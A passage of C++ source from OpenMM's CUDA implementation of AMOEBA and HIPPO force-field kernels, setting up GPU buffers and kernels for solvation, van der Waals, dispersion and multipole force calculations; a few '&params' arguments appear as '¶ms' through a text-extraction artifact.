int startExclusionIndex = cu.getContextIndex()*numExclusionTiles/numContexts;
int endExclusionIndex = (cu.getContextIndex()+1)*numExclusionTiles/numContexts;
defines["FIRST_EXCLUSION_TILE"] = cu.intToString(startExclusionIndex);
defines["LAST_EXCLUSION_TILE"] = cu.intToString(endExclusionIndex);
stringstream forceSource;
forceSource << CudaKernelSources::vectorOps;
forceSource << CudaAmoebaKernelSources::amoebaGk;
forceSource << "#define F1\n";
forceSource << CudaAmoebaKernelSources::gkPairForce1;
forceSource << CudaAmoebaKernelSources::gkPairForce2;
forceSource << CudaAmoebaKernelSources::gkEDiffPairForce;
forceSource << "#undef F1\n";
forceSource << "#define F2\n";
forceSource << CudaAmoebaKernelSources::gkPairForce1;
forceSource << CudaAmoebaKernelSources::gkPairForce2;
forceSource << "#undef F2\n";
forceSource << "#define T1\n";
forceSource << CudaAmoebaKernelSources::gkPairForce1;
forceSource << CudaAmoebaKernelSources::gkPairForce2;
forceSource << CudaAmoebaKernelSources::gkEDiffPairForce;
forceSource << "#undef T1\n";
forceSource << "#define T2\n";
forceSource << CudaAmoebaKernelSources::gkPairForce1;
forceSource << CudaAmoebaKernelSources::gkPairForce2;
forceSource << "#undef T2\n";
forceSource << "#define T3\n";
forceSource << CudaAmoebaKernelSources::gkEDiffPairForce;
forceSource << "#undef T3\n";
forceSource << "#define B1\n";
forceSource << "#define B2\n";
forceSource << CudaAmoebaKernelSources::gkPairForce1;
forceSource << CudaAmoebaKernelSources::gkPairForce2;
CUmodule module = cu.createModule(forceSource.str(), defines);
computeBornSumKernel = cu.getKernel(module, "computeBornSum");
reduceBornSumKernel = cu.getKernel(module, "reduceBornSum");
gkForceKernel = cu.getKernel(module, "computeGKForces");
chainRuleKernel = cu.getKernel(module, "computeChainRuleForce");
ediffKernel = cu.getKernel(module, "computeEDiffForce");
if (includeSurfaceArea)
surfaceAreaKernel = cu.getKernel(module, "computeSurfaceAreaForce");
}
CudaNonbondedUtilities& nb = cu.getNonbondedUtilities();
int numTiles = nb.getNumTiles();
int numForceThreadBlocks = nb.getNumForceThreadBlocks();
void* computeBornSumArgs[] = {&bornSum.getDevicePointer(), &cu.getPosq().getDevicePointer(),
¶ms.getDevicePointer(), &numTiles};
cu.executeKernel(computeBornSumKernel, computeBornSumArgs, numForceThreadBlocks*computeBornSumThreads, computeBornSumThreads);
void* reduceBornSumArgs[] = {&bornSum.getDevicePointer(), ¶ms.getDevicePointer(), &bornRadii.getDevicePointer()};
cu.executeKernel(reduceBornSumKernel, reduceBornSumArgs, cu.getNumAtoms());
}
void CudaCalcAmoebaGeneralizedKirkwoodForceKernel::finishComputation(CudaArray& torque, CudaArray& labFrameDipoles, CudaArray& labFrameQuadrupoles,
CudaArray& inducedDipole, CudaArray& inducedDipolePolar, CudaArray& dampingAndThole, CudaArray& covalentFlags, CudaArray& polarizationGroupFlags) {
CudaNonbondedUtilities& nb = cu.getNonbondedUtilities();
int startTileIndex = nb.getStartTileIndex();
int numTileIndices = nb.getNumTiles();
int numForceThreadBlocks = nb.getNumForceThreadBlocks();
// Compute the GK force.
void* gkForceArgs[] = {&cu.getForce().getDevicePointer(), &torque.getDevicePointer(), &cu.getEnergyBuffer().getDevicePointer(),
&cu.getPosq().getDevicePointer(), &startTileIndex, &numTileIndices, &labFrameDipoles.getDevicePointer(),
&labFrameQuadrupoles.getDevicePointer(), &inducedDipoleS.getDevicePointer(), &inducedDipolePolarS.getDevicePointer(),
&bornRadii.getDevicePointer(), &bornForce.getDevicePointer()};
cu.executeKernel(gkForceKernel, gkForceArgs, numForceThreadBlocks*gkForceThreads, gkForceThreads);
// Compute the surface area force.
if (includeSurfaceArea) {
void* surfaceAreaArgs[] = {&bornForce.getDevicePointer(), &cu.getEnergyBuffer().getDevicePointer(), ¶ms.getDevicePointer(), &bornRadii.getDevicePointer()};
cu.executeKernel(surfaceAreaKernel, surfaceAreaArgs, cu.getNumAtoms());
}
// Apply the remaining terms.
void* chainRuleArgs[] = {&cu.getForce().getDevicePointer(), &cu.getPosq().getDevicePointer(), &startTileIndex, &numTileIndices,
¶ms.getDevicePointer(), &bornRadii.getDevicePointer(), &bornForce.getDevicePointer()};
cu.executeKernel(chainRuleKernel, chainRuleArgs, numForceThreadBlocks*chainRuleThreads, chainRuleThreads);
void* ediffArgs[] = {&cu.getForce().getDevicePointer(), &torque.getDevicePointer(), &cu.getEnergyBuffer().getDevicePointer(),
&cu.getPosq().getDevicePointer(), &covalentFlags.getDevicePointer(), &polarizationGroupFlags.getDevicePointer(),
&nb.getExclusionTiles().getDevicePointer(), &startTileIndex, &numTileIndices,
&labFrameDipoles.getDevicePointer(), &labFrameQuadrupoles.getDevicePointer(), &inducedDipole.getDevicePointer(),
&inducedDipolePolar.getDevicePointer(), &inducedDipoleS.getDevicePointer(), &inducedDipolePolarS.getDevicePointer(),
&dampingAndThole.getDevicePointer()};
cu.executeKernel(ediffKernel, ediffArgs, numForceThreadBlocks*ediffThreads, ediffThreads);
}
void CudaCalcAmoebaGeneralizedKirkwoodForceKernel::copyParametersToContext(ContextImpl& context, const AmoebaGeneralizedKirkwoodForce& force) {
// Make sure the new parameters are acceptable.
cu.setAsCurrent();
if (force.getNumParticles() != cu.getNumAtoms())
throw OpenMMException("updateParametersInContext: The number of particles has changed");
// Record the per-particle parameters.
vector<float2> paramsVector(cu.getPaddedNumAtoms());
for (int i = 0; i < force.getNumParticles(); i++) {
double charge, radius, scalingFactor;
force.getParticleParameters(i, charge, radius, scalingFactor);
paramsVector[i] = make_float2((float) radius, (float) (scalingFactor*radius));
}
params.upload(paramsVector);
cu.invalidateMolecules();
}
/* -------------------------------------------------------------------------- *
* AmoebaVdw *
* -------------------------------------------------------------------------- */
class CudaCalcAmoebaVdwForceKernel::ForceInfo : public CudaForceInfo {
public:
ForceInfo(const AmoebaVdwForce& force) : force(force) {
}
bool areParticlesIdentical(int particle1, int particle2) {
int iv1, iv2;
double sigma1, sigma2, epsilon1, epsilon2, reduction1, reduction2;
bool isAlchemical1, isAlchemical2;
force.getParticleParameters(particle1, iv1, sigma1, epsilon1, reduction1, isAlchemical1);
force.getParticleParameters(particle2, iv2, sigma2, epsilon2, reduction2, isAlchemical2);
return (sigma1 == sigma2 && epsilon1 == epsilon2 && reduction1 == reduction2 && isAlchemical1 == isAlchemical2);
}
private:
const AmoebaVdwForce& force;
};
CudaCalcAmoebaVdwForceKernel::CudaCalcAmoebaVdwForceKernel(const std::string& name, const Platform& platform, CudaContext& cu, const System& system) :
CalcAmoebaVdwForceKernel(name, platform), cu(cu), system(system), hasInitializedNonbonded(false), nonbonded(NULL), vdwLambdaPinnedBuffer(NULL) {
}
CudaCalcAmoebaVdwForceKernel::~CudaCalcAmoebaVdwForceKernel() {
cu.setAsCurrent();
if (nonbonded != NULL)
delete nonbonded;
if (vdwLambdaPinnedBuffer != NULL)
cuMemFreeHost(vdwLambdaPinnedBuffer);
}
void CudaCalcAmoebaVdwForceKernel::initialize(const System& system, const AmoebaVdwForce& force) {
cu.setAsCurrent();
sigmaEpsilon.initialize<float2>(cu, cu.getPaddedNumAtoms(), "sigmaEpsilon");
bondReductionAtoms.initialize<int>(cu, cu.getPaddedNumAtoms(), "bondReductionAtoms");
bondReductionFactors.initialize<float>(cu, cu.getPaddedNumAtoms(), "bondReductionFactors");
tempPosq.initialize(cu, cu.getPaddedNumAtoms(), cu.getUseDoublePrecision() ? sizeof(double4) : sizeof(float4), "tempPosq");
tempForces.initialize<long long>(cu, 3*cu.getPaddedNumAtoms(), "tempForces");
// Record atom parameters.
vector<float2> sigmaEpsilonVec(cu.getPaddedNumAtoms(), make_float2(0, 1));
vector<float> isAlchemicalVec(cu.getPaddedNumAtoms(), 0);
vector<int> bondReductionAtomsVec(cu.getPaddedNumAtoms(), 0);
vector<float> bondReductionFactorsVec(cu.getPaddedNumAtoms(), 0);
vector<vector<int> > exclusions(cu.getNumAtoms());
// Handle Alchemical parameters.
hasAlchemical = force.getAlchemicalMethod() != AmoebaVdwForce::None;
if (hasAlchemical) {
isAlchemical.initialize<float>(cu, cu.getPaddedNumAtoms(), "isAlchemical");
vdwLambda.initialize<float>(cu, 1, "vdwLambda");
CHECK_RESULT(cuMemHostAlloc(&vdwLambdaPinnedBuffer, sizeof(float), 0), "Error allocating vdwLambda pinned buffer");
}
for (int i = 0; i < force.getNumParticles(); i++) {
int ivIndex;
double sigma, epsilon, reductionFactor;
bool alchemical;
force.getParticleParameters(i, ivIndex, sigma, epsilon, reductionFactor, alchemical);
sigmaEpsilonVec[i] = make_float2((float) sigma, (float) epsilon);
isAlchemicalVec[i] = (alchemical) ? 1.0f : 0.0f;
bondReductionAtomsVec[i] = ivIndex;
bondReductionFactorsVec[i] = (float) reductionFactor;
force.getParticleExclusions(i, exclusions[i]);
exclusions[i].push_back(i);
}
sigmaEpsilon.upload(sigmaEpsilonVec);
bondReductionAtoms.upload(bondReductionAtomsVec);
bondReductionFactors.upload(bondReductionFactorsVec);
if (force.getUseDispersionCorrection())
dispersionCoefficient = AmoebaVdwForceImpl::calcDispersionCorrection(system, force);
else
dispersionCoefficient = 0.0;
// This force is applied based on modified atom positions, where hydrogens have been moved slightly
// closer to their parent atoms. We therefore create a separate CudaNonbondedUtilities just for
// this force, so it will have its own neighbor list and interaction kernel.
nonbonded = new CudaNonbondedUtilities(cu);
nonbonded->addParameter(CudaNonbondedUtilities::ParameterInfo("sigmaEpsilon", "float", 2, sizeof(float2), sigmaEpsilon.getDevicePointer()));
if (hasAlchemical) {
isAlchemical.upload(isAlchemicalVec);
((float*) vdwLambdaPinnedBuffer)[0] = 1.0f;
currentVdwLambda = 1.0f;
vdwLambda.upload(vdwLambdaPinnedBuffer, false);
nonbonded->addParameter(CudaNonbondedUtilities::ParameterInfo("isAlchemical", "float", 1, sizeof(float), isAlchemical.getDevicePointer()));
nonbonded->addArgument(CudaNonbondedUtilities::ParameterInfo("vdwLambda", "float", 1, sizeof(float), vdwLambda.getDevicePointer()));
}
// Create the interaction kernel.
map<string, string> replacements;
string sigmaCombiningRule = force.getSigmaCombiningRule();
if (sigmaCombiningRule == "ARITHMETIC")
replacements["SIGMA_COMBINING_RULE"] = "1";
else if (sigmaCombiningRule == "GEOMETRIC")
replacements["SIGMA_COMBINING_RULE"] = "2";
else if (sigmaCombiningRule == "CUBIC-MEAN")
replacements["SIGMA_COMBINING_RULE"] = "3";
else
throw OpenMMException("Illegal combining rule for sigma: "+sigmaCombiningRule);
string epsilonCombiningRule = force.getEpsilonCombiningRule();
if (epsilonCombiningRule == "ARITHMETIC")
replacements["EPSILON_COMBINING_RULE"] = "1";
else if (epsilonCombiningRule == "GEOMETRIC")
replacements["EPSILON_COMBINING_RULE"] = "2";
else if (epsilonCombiningRule =="HARMONIC")
replacements["EPSILON_COMBINING_RULE"] = "3";
else if (epsilonCombiningRule == "W-H")
replacements["EPSILON_COMBINING_RULE"] = "4";
else if (epsilonCombiningRule == "HHG")
replacements["EPSILON_COMBINING_RULE"] = "5";
else
throw OpenMMException("Illegal combining rule for sigma: "+sigmaCombiningRule);
replacements["VDW_ALCHEMICAL_METHOD"] = cu.intToString(force.getAlchemicalMethod());
replacements["VDW_SOFTCORE_POWER"] = cu.intToString(force.getSoftcorePower());
replacements["VDW_SOFTCORE_ALPHA"] = cu.doubleToString(force.getSoftcoreAlpha());
double cutoff = force.getCutoffDistance();
double taperCutoff = cutoff*0.9;
replacements["CUTOFF_DISTANCE"] = cu.doubleToString(force.getCutoffDistance());
replacements["TAPER_CUTOFF"] = cu.doubleToString(taperCutoff);
replacements["TAPER_C3"] = cu.doubleToString(10/pow(taperCutoff-cutoff, 3.0));
replacements["TAPER_C4"] = cu.doubleToString(15/pow(taperCutoff-cutoff, 4.0));
replacements["TAPER_C5"] = cu.doubleToString(6/pow(taperCutoff-cutoff, 5.0));
bool useCutoff = (force.getNonbondedMethod() != AmoebaVdwForce::NoCutoff);
nonbonded->addInteraction(useCutoff, useCutoff, true, force.getCutoffDistance(), exclusions,
cu.replaceStrings(CudaAmoebaKernelSources::amoebaVdwForce2, replacements), 0);
// Create the other kernels.
map<string, string> defines;
defines["PADDED_NUM_ATOMS"] = cu.intToString(cu.getPaddedNumAtoms());
CUmodule module = cu.createModule(CudaAmoebaKernelSources::amoebaVdwForce1, defines);
prepareKernel = cu.getKernel(module, "prepareToComputeForce");
spreadKernel = cu.getKernel(module, "spreadForces");
cu.addForce(new ForceInfo(force));
}
double CudaCalcAmoebaVdwForceKernel::execute(ContextImpl& context, bool includeForces, bool includeEnergy) {
if (!hasInitializedNonbonded) {
hasInitializedNonbonded = true;
nonbonded->initialize(system);
}
if (hasAlchemical) {
float contextLambda = context.getParameter(AmoebaVdwForce::Lambda());
if (contextLambda != currentVdwLambda) {
// Non-blocking copy of vdwLambda to device memory
((float*) vdwLambdaPinnedBuffer)[0] = contextLambda;
vdwLambda.upload(vdwLambdaPinnedBuffer, false);
currentVdwLambda = contextLambda;
}
}
cu.getPosq().copyTo(tempPosq);
cu.getForce().copyTo(tempForces);
void* prepareArgs[] = {&cu.getForce().getDevicePointer(), &cu.getPosq().getDevicePointer(), &tempPosq.getDevicePointer(),
&bondReductionAtoms.getDevicePointer(), &bondReductionFactors.getDevicePointer()};
cu.executeKernel(prepareKernel, prepareArgs, cu.getPaddedNumAtoms());
nonbonded->prepareInteractions(1);
nonbonded->computeInteractions(1, includeForces, includeEnergy);
void* spreadArgs[] = {&cu.getForce().getDevicePointer(), &tempForces.getDevicePointer(), &bondReductionAtoms.getDevicePointer(), &bondReductionFactors.getDevicePointer()};
cu.executeKernel(spreadKernel, spreadArgs, cu.getPaddedNumAtoms());
tempPosq.copyTo(cu.getPosq());
tempForces.copyTo(cu.getForce());
double4 box = cu.getPeriodicBoxSize();
return dispersionCoefficient/(box.x*box.y*box.z);
}
void CudaCalcAmoebaVdwForceKernel::copyParametersToContext(ContextImpl& context, const AmoebaVdwForce& force) {
// Make sure the new parameters are acceptable.
cu.setAsCurrent();
if (force.getNumParticles() != cu.getNumAtoms())
throw OpenMMException("updateParametersInContext: The number of particles has changed");
// Record the per-particle parameters.
vector<float2> sigmaEpsilonVec(cu.getPaddedNumAtoms(), make_float2(0, 1));
vector<float> isAlchemicalVec(cu.getPaddedNumAtoms(), 0);
vector<int> bondReductionAtomsVec(cu.getPaddedNumAtoms(), 0);
vector<float> bondReductionFactorsVec(cu.getPaddedNumAtoms(), 0);
for (int i = 0; i < force.getNumParticles(); i++) {
int ivIndex;
double sigma, epsilon, reductionFactor;
bool alchemical;
force.getParticleParameters(i, ivIndex, sigma, epsilon, reductionFactor, alchemical);
sigmaEpsilonVec[i] = make_float2((float) sigma, (float) epsilon);
isAlchemicalVec[i] = (alchemical) ? 1.0f : 0.0f;
bondReductionAtomsVec[i] = ivIndex;
bondReductionFactorsVec[i] = (float) reductionFactor;
}
sigmaEpsilon.upload(sigmaEpsilonVec);
if (hasAlchemical) isAlchemical.upload(isAlchemicalVec);
bondReductionAtoms.upload(bondReductionAtomsVec);
bondReductionFactors.upload(bondReductionFactorsVec);
if (force.getUseDispersionCorrection())
dispersionCoefficient = AmoebaVdwForceImpl::calcDispersionCorrection(system, force);
else
dispersionCoefficient = 0.0;
cu.invalidateMolecules();
}
/* -------------------------------------------------------------------------- *
* AmoebaWcaDispersion *
* -------------------------------------------------------------------------- */
class CudaCalcAmoebaWcaDispersionForceKernel::ForceInfo : public CudaForceInfo {
public:
ForceInfo(const AmoebaWcaDispersionForce& force) : force(force) {
}
bool areParticlesIdentical(int particle1, int particle2) {
double radius1, radius2, epsilon1, epsilon2;
force.getParticleParameters(particle1, radius1, epsilon1);
force.getParticleParameters(particle2, radius2, epsilon2);
return (radius1 == radius2 && epsilon1 == epsilon2);
}
private:
const AmoebaWcaDispersionForce& force;
};
CudaCalcAmoebaWcaDispersionForceKernel::CudaCalcAmoebaWcaDispersionForceKernel(const std::string& name, const Platform& platform, CudaContext& cu, const System& system) :
CalcAmoebaWcaDispersionForceKernel(name, platform), cu(cu), system(system) {
}
void CudaCalcAmoebaWcaDispersionForceKernel::initialize(const System& system, const AmoebaWcaDispersionForce& force) {
int numParticles = system.getNumParticles();
int paddedNumAtoms = cu.getPaddedNumAtoms();
// Record parameters.
vector<float2> radiusEpsilonVec(paddedNumAtoms, make_float2(0, 0));
for (int i = 0; i < numParticles; i++) {
double radius, epsilon;
force.getParticleParameters(i, radius, epsilon);
radiusEpsilonVec[i] = make_float2((float) radius, (float) epsilon);
}
radiusEpsilon.initialize<float2>(cu, paddedNumAtoms, "radiusEpsilon");
radiusEpsilon.upload(radiusEpsilonVec);
// Create the kernel.
map<string, string> defines;
defines["NUM_ATOMS"] = cu.intToString(numParticles);
defines["PADDED_NUM_ATOMS"] = cu.intToString(cu.getPaddedNumAtoms());
defines["THREAD_BLOCK_SIZE"] = cu.intToString(cu.getNonbondedUtilities().getForceThreadBlockSize());
defines["NUM_BLOCKS"] = cu.intToString(cu.getNumAtomBlocks());
defines["EPSO"] = cu.doubleToString(force.getEpso());
defines["EPSH"] = cu.doubleToString(force.getEpsh());
defines["RMINO"] = cu.doubleToString(force.getRmino());
defines["RMINH"] = cu.doubleToString(force.getRminh());
defines["AWATER"] = cu.doubleToString(force.getAwater());
defines["SHCTD"] = cu.doubleToString(force.getShctd());
defines["M_PI"] = cu.doubleToString(M_PI);
CUmodule module = cu.createModule(CudaKernelSources::vectorOps+CudaAmoebaKernelSources::amoebaWcaForce, defines);
forceKernel = cu.getKernel(module, "computeWCAForce");
totalMaximumDispersionEnergy = AmoebaWcaDispersionForceImpl::getTotalMaximumDispersionEnergy(force);
// Add an interaction to the default nonbonded kernel. This doesn't actually do any calculations. It's
// just so that CudaNonbondedUtilities will keep track of the tiles.
vector<vector<int> > exclusions;
cu.getNonbondedUtilities().addInteraction(false, false, false, 1.0, exclusions, "", force.getForceGroup());
cu.addForce(new ForceInfo(force));
}
double CudaCalcAmoebaWcaDispersionForceKernel::execute(ContextImpl& context, bool includeForces, bool includeEnergy) {
CudaNonbondedUtilities& nb = cu.getNonbondedUtilities();
int startTileIndex = nb.getStartTileIndex();
int numTileIndices = nb.getNumTiles();
int numForceThreadBlocks = nb.getNumForceThreadBlocks();
int forceThreadBlockSize = nb.getForceThreadBlockSize();
void* forceArgs[] = {&cu.getForce().getDevicePointer(), &cu.getEnergyBuffer().getDevicePointer(),
&cu.getPosq().getDevicePointer(), &startTileIndex, &numTileIndices, &radiusEpsilon.getDevicePointer()};
cu.executeKernel(forceKernel, forceArgs, numForceThreadBlocks*forceThreadBlockSize, forceThreadBlockSize);
return totalMaximumDispersionEnergy;
}
void CudaCalcAmoebaWcaDispersionForceKernel::copyParametersToContext(ContextImpl& context, const AmoebaWcaDispersionForce& force) {
// Make sure the new parameters are acceptable.
cu.setAsCurrent();
if (force.getNumParticles() != cu.getNumAtoms())
throw OpenMMException("updateParametersInContext: The number of particles has changed");
// Record the per-particle parameters.
vector<float2> radiusEpsilonVec(cu.getPaddedNumAtoms(), make_float2(0, 0));
for (int i = 0; i < cu.getNumAtoms(); i++) {
double radius, epsilon;
force.getParticleParameters(i, radius, epsilon);
radiusEpsilonVec[i] = make_float2((float) radius, (float) epsilon);
}
radiusEpsilon.upload(radiusEpsilonVec);
totalMaximumDispersionEnergy = AmoebaWcaDispersionForceImpl::getTotalMaximumDispersionEnergy(force);
cu.invalidateMolecules();
}
/* -------------------------------------------------------------------------- *
* HippoNonbondedForce *
* -------------------------------------------------------------------------- */
class CudaCalcHippoNonbondedForceKernel::ForceInfo : public CudaForceInfo {
public:
ForceInfo(const HippoNonbondedForce& force) : force(force) {
}
bool areParticlesIdentical(int particle1, int particle2) {
double charge1, coreCharge1, alpha1, epsilon1, damping1, c61, pauliK1, pauliQ1, pauliAlpha1, polarizability1;
double charge2, coreCharge2, alpha2, epsilon2, damping2, c62, pauliK2, pauliQ2, pauliAlpha2, polarizability2;
int axisType1, multipoleZ1, multipoleX1, multipoleY1;
int axisType2, multipoleZ2, multipoleX2, multipoleY2;
vector<double> dipole1, dipole2, quadrupole1, quadrupole2;
force.getParticleParameters(particle1, charge1, dipole1, quadrupole1, coreCharge1, alpha1, epsilon1, damping1, c61, pauliK1, pauliQ1, pauliAlpha1,
polarizability1, axisType1, multipoleZ1, multipoleX1, multipoleY1);
force.getParticleParameters(particle2, charge2, dipole2, quadrupole2, coreCharge2, alpha2, epsilon2, damping2, c62, pauliK2, pauliQ2, pauliAlpha2,
polarizability2, axisType2, multipoleZ2, multipoleX2, multipoleY2);
if (charge1 != charge2 || coreCharge1 != coreCharge2 || alpha1 != alpha2 || epsilon1 != epsilon1 || damping1 != damping2 || c61 != c62 ||
pauliK1 != pauliK2 || pauliQ1 != pauliQ2 || pauliAlpha1 != pauliAlpha2 || polarizability1 != polarizability2 || axisType1 != axisType2) {
return false;
}
for (int i = 0; i < dipole1.size(); ++i)
if (dipole1[i] != dipole2[i])
return false;
for (int i = 0; i < quadrupole1.size(); ++i)
if (quadrupole1[i] != quadrupole2[i])
return false;
return true;
}
int getNumParticleGroups() {
return force.getNumExceptions();
}
void getParticlesInGroup(int index, vector<int>& particles) {
int particle1, particle2;
double multipoleMultipoleScale, dipoleMultipoleScale, dipoleDipoleScale, dispersionScale, repulsionScale, chargeTransferScale;
force.getExceptionParameters(index, particle1, particle2, multipoleMultipoleScale, dipoleMultipoleScale, dipoleDipoleScale, dispersionScale, repulsionScale, chargeTransferScale);
particles.resize(2);
particles[0] = particle1;
particles[1] = particle2;
}
bool areGroupsIdentical(int group1, int group2) {
int particle1, particle2;
double multipoleMultipoleScale1, dipoleMultipoleScale1, dipoleDipoleScale1, dispersionScale1, repulsionScale1, chargeTransferScale1;
double multipoleMultipoleScale2, dipoleMultipoleScale2, dipoleDipoleScale2, dispersionScale2, repulsionScale2, chargeTransferScale2;
force.getExceptionParameters(group1, particle1, particle2, multipoleMultipoleScale1, dipoleMultipoleScale1, dipoleDipoleScale1, dispersionScale1, repulsionScale1, chargeTransferScale1);
force.getExceptionParameters(group2, particle1, particle2, multipoleMultipoleScale2, dipoleMultipoleScale2, dipoleDipoleScale2, dispersionScale2, repulsionScale2, chargeTransferScale2);
return (multipoleMultipoleScale1 == multipoleMultipoleScale2 && dipoleMultipoleScale1 == dipoleMultipoleScale2 &&
dipoleDipoleScale1 == dipoleDipoleScale2 && dispersionScale1 == dispersionScale2 && repulsionScale1 == repulsionScale2 && chargeTransferScale1 == chargeTransferScale2);
}
private:
const HippoNonbondedForce& force;
};
class CudaCalcHippoNonbondedForceKernel::TorquePostComputation : public CudaContext::ForcePostComputation {
public:
TorquePostComputation(CudaCalcHippoNonbondedForceKernel& owner) : owner(owner) {
}
double computeForceAndEnergy(bool includeForces, bool includeEnergy, int groups) {
owner.addTorquesToForces();
return 0.0;
}
private:
CudaCalcHippoNonbondedForceKernel& owner;
};
CudaCalcHippoNonbondedForceKernel::CudaCalcHippoNonbondedForceKernel(const std::string& name, const Platform& platform, CudaContext& cu, const System& system) :
CalcHippoNonbondedForceKernel(name, platform), cu(cu), system(system), sort(NULL), hasInitializedKernels(false), hasInitializedFFT(false), multipolesAreValid(false) {
}
CudaCalcHippoNonbondedForceKernel::~CudaCalcHippoNonbondedForceKernel() {
cu.setAsCurrent();
if (sort != NULL)
delete sort;
if (hasInitializedFFT) {
cufftDestroy(fftForward);
cufftDestroy(fftBackward);
cufftDestroy(dfftForward);
cufftDestroy(dfftBackward);
}
}
void CudaCalcHippoNonbondedForceKernel::initialize(const System& system, const HippoNonbondedForce& force) {
cu.setAsCurrent();
extrapolationCoefficients = force.getExtrapolationCoefficients();
usePME = (force.getNonbondedMethod() == HippoNonbondedForce::PME);
// Initialize particle parameters.
numParticles = force.getNumParticles();
vector<double> coreChargeVec, valenceChargeVec, alphaVec, epsilonVec, dampingVec, c6Vec, pauliKVec, pauliQVec, pauliAlphaVec, polarizabilityVec;
vector<double> localDipolesVec, localQuadrupolesVec;
vector<int4> multipoleParticlesVec;
vector<vector<int> > exclusions(numParticles);
for (int i = 0; i < numParticles; i++) {
double charge, coreCharge, alpha, epsilon, damping, c6, pauliK, pauliQ, pauliAlpha, polarizability;
int axisType, atomX, atomY, atomZ;
vector<double> dipole, quadrupole;
force.getParticleParameters(i, charge, dipole, quadrupole, coreCharge, alpha, epsilon, damping, c6, pauliK, pauliQ, pauliAlpha,
polarizability, axisType, atomZ, atomX, atomY);
coreChargeVec.push_back(coreCharge);
valenceChargeVec.push_back(charge-coreCharge);
alphaVec.push_back(alpha);
epsilonVec.push_back(epsilon);
dampingVec.push_back(damping);
c6Vec.push_back(c6);
pauliKVec.push_back(pauliK);
pauliQVec.push_back(pauliQ);
pauliAlphaVec.push_back(pauliAlpha);
polarizabilityVec.push_back(polarizability);
multipoleParticlesVec.push_back(make_int4(atomX, atomY, atomZ, axisType));
for (int j = 0; j < 3; j++)
localDipolesVec.push_back(dipole[j]);
localQuadrupolesVec.push_back(quadrupole[0]);
localQuadrupolesVec.push_back(quadrupole[1]);
localQuadrupolesVec.push_back(quadrupole[2]);
localQuadrupolesVec.push_back(quadrupole[4]);
localQuadrupolesVec.push_back(quadrupole[5]);
exclusions[i].push_back(i);
}
int paddedNumAtoms = cu.getPaddedNumAtoms();
for (int i = numParticles; i < paddedNumAtoms; i++) {
coreChargeVec.push_back(0);
valenceChargeVec.push_back(0);
alphaVec.push_back(0);
epsilonVec.push_back(0);
dampingVec.push_back(0);
c6Vec.push_back(0);
pauliKVec.push_back(0);
pauliQVec.push_back(0);
pauliAlphaVec.push_back(0);
polarizabilityVec.push_back(0);
multipoleParticlesVec.push_back(make_int4(0, 0, 0, 0));
for (int j = 0; j < 3; j++)
localDipolesVec.push_back(0);
for (int j = 0; j < 5; j++)
localQuadrupolesVec.push_back(0);
}
int elementSize = (cu.getUseDoublePrecision() ? sizeof(double) : sizeof(float));
coreCharge.initialize(cu, paddedNumAtoms, elementSize, "coreCharge");
valenceCharge.initialize(cu, paddedNumAtoms, elementSize, "valenceCharge");
alpha.initialize(cu, paddedNumAtoms, elementSize, "alpha");
epsilon.initialize(cu, paddedNumAtoms, elementSize, "epsilon");
damping.initialize(cu, paddedNumAtoms, elementSize, "damping");
c6.initialize(cu, paddedNumAtoms, elementSize, "c6");
pauliK.initialize(cu, paddedNumAtoms, elementSize, "pauliK");
pauliQ.initialize(cu, paddedNumAtoms, elementSize, "pauliQ");
pauliAlpha.initialize(cu, paddedNumAtoms, elementSize, "pauliAlpha");
polarizability.initialize(cu, paddedNumAtoms, elementSize, "polarizability");
multipoleParticles.initialize<int4>(cu, paddedNumAtoms, "multipoleParticles");
localDipoles.initialize(cu, 3*paddedNumAtoms, elementSize, "localDipoles");
localQuadrupoles.initialize(cu, 5*paddedNumAtoms, elementSize, "localQuadrupoles");
lastPositions.initialize(cu, cu.getPosq().getSize(), cu.getPosq().getElementSize(), "lastPositions");
coreCharge.upload(coreChargeVec, true);
valenceCharge.upload(valenceChargeVec, true);
alpha.upload(alphaVec, true);
epsilon.upload(epsilonVec, true);
damping.upload(dampingVec, true);
c6.upload(c6Vec, true);
pauliK.upload(pauliKVec, true);
pauliQ.upload(pauliQVec, true);
pauliAlpha.upload(pauliAlphaVec, true);
polarizability.upload(polarizabilityVec, true);
multipoleParticles.upload(multipoleParticlesVec);
localDipoles.upload(localDipolesVec, true);
localQuadrupoles.upload(localQuadrupolesVec, true);
// Create workspace arrays.
labDipoles.initialize(cu, paddedNumAtoms, 3*elementSize, "dipole");
labQuadrupoles[0].initialize(cu, paddedNumAtoms, elementSize, "qXX");
labQuadrupoles[1].initialize(cu, paddedNumAtoms, elementSize, "qXY");
labQuadrupoles[2].initialize(cu, paddedNumAtoms, elementSize, "qXZ");
labQuadrupoles[3].initialize(cu, paddedNumAtoms, elementSize, "qYY");
labQuadrupoles[4].initialize(cu, paddedNumAtoms, elementSize, "qYZ");
fracDipoles.initialize(cu, paddedNumAtoms, 3*elementSize, "fracDipoles");
fracQuadrupoles.initialize(cu, 6*paddedNumAtoms, elementSize, "fracQuadrupoles");
field.initialize(cu, 3*paddedNumAtoms, sizeof(long long), "field");
inducedField.initialize(cu, 3*paddedNumAtoms, sizeof(long long), "inducedField");
torque.initialize(cu, 3*paddedNumAtoms, sizeof(long long), "torque");
inducedDipole.initialize(cu, paddedNumAtoms, 3*elementSize, "inducedDipole");
int numOrders = extrapolationCoefficients.size();
extrapolatedDipole.initialize(cu, 3*numParticles*numOrders, elementSize, "extrapolatedDipole");
extrapolatedPhi.initialize(cu, 10*numParticles*numOrders, elementSize, "extrapolatedPhi");
cu.addAutoclearBuffer(field);
cu.addAutoclearBuffer(torque);
// Record exceptions and exclusions.
vector<double> exceptionScaleVec[6];
vector<int2> exceptionAtomsVec;
for (int i = 0; i < force.getNumExceptions(); i++) {
int particle1, particle2;
double multipoleMultipoleScale, dipoleMultipoleScale, dipoleDipoleScale, dispersionScale, repulsionScale, chargeTransferScale;
force.getExceptionParameters(i, particle1, particle2, multipoleMultipoleScale, dipoleMultipoleScale, dipoleDipoleScale, dispersionScale, repulsionScale, chargeTransferScale);
exclusions[particle1].push_back(particle2);
exclusions[particle2].push_back(particle1);
if (usePME || multipoleMultipoleScale != 0 || dipoleMultipoleScale != 0 || dipoleDipoleScale != 0 || dispersionScale != 0 || repulsionScale != 0 || chargeTransferScale != 0) {
exceptionAtomsVec.push_back(make_int2(particle1, particle2));
exceptionScaleVec[0].push_back(multipoleMultipoleScale);
exceptionScaleVec[1].push_back(dipoleMultipoleScale);
exceptionScaleVec[2].push_back(dipoleDipoleScale);
exceptionScaleVec[3].push_back(dispersionScale);
exceptionScaleVec[4].push_back(repulsionScale);
